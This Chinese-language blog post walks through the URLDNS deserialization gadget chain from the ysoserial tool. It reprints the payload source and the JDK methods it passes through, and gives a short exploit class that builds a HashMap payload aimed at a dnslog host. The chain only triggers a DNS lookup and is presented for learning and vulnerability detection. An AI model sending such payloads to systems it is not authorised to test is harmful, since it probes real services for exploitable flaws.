从ysoserial中学习URLDNS利用链

从ysoserial中学习URLDNS利用链

前言

最近在学习java反序列化的内容,一开始从网上学习CommonsCollections的利用链,发现挺难(是我太菜了,23333),然后就来学习一下ysoserial中最简单的例子——URLDNS

ysoserial

在正式开始分析之前,先介绍一下这个工具。github地址:https://github.com/frohoff/ysoserial。下面就引用一段p牛的话来说明这个工具的用途。

反序列化漏洞在各个语⾔⾥本不是⼀个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤ 链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚ Java安全的蓝海。

⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反 序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

ysoserial的使⽤也很简单,这里就不过多赘述了,可以去github项目查看。

关于gadget

利⽤链也叫gadget chains,我们通常称为gadget。我理解的gadget就相当于一条链子,从起点(入口)到终点(可能是命令执行结束的位置)的一条路径。

漏洞分析

URLDNSysoserial中⼀个利⽤链的名字。这个利用链比较特殊,因为其参数不是⼀个可以“利⽤”的命令,⽽是⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个利用链不能执行命令,但是⾮常适合我们在检测反序列化漏洞时使⽤:

  • 使⽤Java内置的类构造,没有依赖第三⽅库
  • 在⽬标没有回显的时候,能够通过dnslog来判断是否存在反序列化漏洞

接下来我们来看代码。ysoserial/payloads/URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

从上述代码中的注释中,我们可以了解到,这个反序列化漏洞跟HashMap类有关。触发反序列化的⽅法是readObject,所以我们可以直接进入到HashMap类的readObject⽅法,然后我们在第41行打断点,进入hash方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

hash方法这里判断了key是否为空,不为空就调用了key的hashCode方法并计算出值,key是一个java.net.URL对象(key的值实际上就是域名),然后我们进入到hashCode方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里判断hashCode的值是否为-1,如果不等于-1,就返回hashCode;反之,调用handlerURLStreamHandler对象)的hashCode方法,继续跟进其hashCode⽅法

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

URLStreamHandler对象的hashCode⽅法如下,跟进getHostAddress方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

image-20210303160820256

getHostAddress方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

这里关注第10行的InetAddress.getByName方法,该方法的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

image-20210303160701587

所以整条gadget如下:

  1. HashMap->readObject()
  2. HashMap->putVal()
  3. HashMap->hash()
  4. URL->hashCode()
  5. URLStreamHandler->hashCode()
  6. URLStreamHandler->getHostAddress()
  7. InetAddress->getByName()

要构造这个gadget,第1步需要先初始化⼀个java.net.URL对象,java.net.URL对象作为keyjava.util.HashMap中。第2步设置这个java.net.URL对象的hashCode为初始值-1(这个hashCode是私有类型,这里涉及到一些反射的知识,不过多赘述),这样反序列化时将会重新计算其hashCode,才能触发到后⾯的DNS请求,否则不会调⽤URL->hashCode()

我们可以构造出exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package serialize;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> obj = new HashMap<URL, String>();
String dnslog = "http://t6nr49.dnslog.cn";
URL url = new URL(dnslog);
Class clazz = Class.forName("java.net.URL");
Field field = null;
field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,-1);
obj.put(url,"123");
}
}

这里我们借助DNSLOG来验证此反序列化漏洞,可以看到成功解析(这里有一个小的tips,大家都知道DNS解析是会在本地留缓存的,所以如果想要重复验证此漏洞,每验证一次就更换一次域名)

image-20210303164335207

至于payload中的最后这个类其实无关紧要的,只是ysoserial为了防⽌生成payload的时候也执⾏了URL请求和DNS查询。

image-20210303162325877

Reference

  1. Java安全漫谈 - 08.反序列化篇(2)

本文标题:从ysoserial中学习URLDNS利用链

文章作者:xianyu123

发布时间:2021年02月24日 - 16:09

最后更新:2021年03月03日 - 19:21

原始链接:http://0clickjacking0.github.io/2021/02/24/从ysoserial中学习URLDNS利用链/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------